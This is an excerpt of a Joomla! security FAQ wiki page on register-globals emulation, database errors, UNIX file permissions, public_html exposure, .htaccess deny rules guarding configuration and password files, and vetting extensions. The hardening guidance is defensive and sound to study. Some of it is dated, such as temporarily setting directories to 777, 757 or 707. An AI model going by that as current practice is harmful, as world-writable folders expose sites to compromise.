: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==&lt;br /&gt;
&lt;br /&gt;
There are two defines files that will generally need to be edited.  /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
.DS. = Directory Seperator&lt;br /&gt;
&lt;br /&gt;
==Moving sensitive files outside the web root==&lt;br /&gt;
{{:Moving sensitive files outside the web root}}&lt;br /&gt;
&lt;br /&gt;
==How do I block direct access to critical files using .htaccess?==&lt;br /&gt;
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you  are finished.&lt;br /&gt;
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;
 order allow,deny&lt;br /&gt;
 deny from all&lt;br /&gt;
 &amp;lt;/Files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;configuration.php&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can also protect a lot of file extensions in one single rule. Exemple (the file names between &#039; &#039;&#039;&#039;(&#039;&#039;&#039; &#039; and &#039; &#039;&#039;&#039;)&#039;&#039;&#039; &#039; in this rule are the file extensions to protect ):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;\.(htaccess|htpasswd|ini|phps|log|sh|conf)$&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5 or newer&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]. &lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
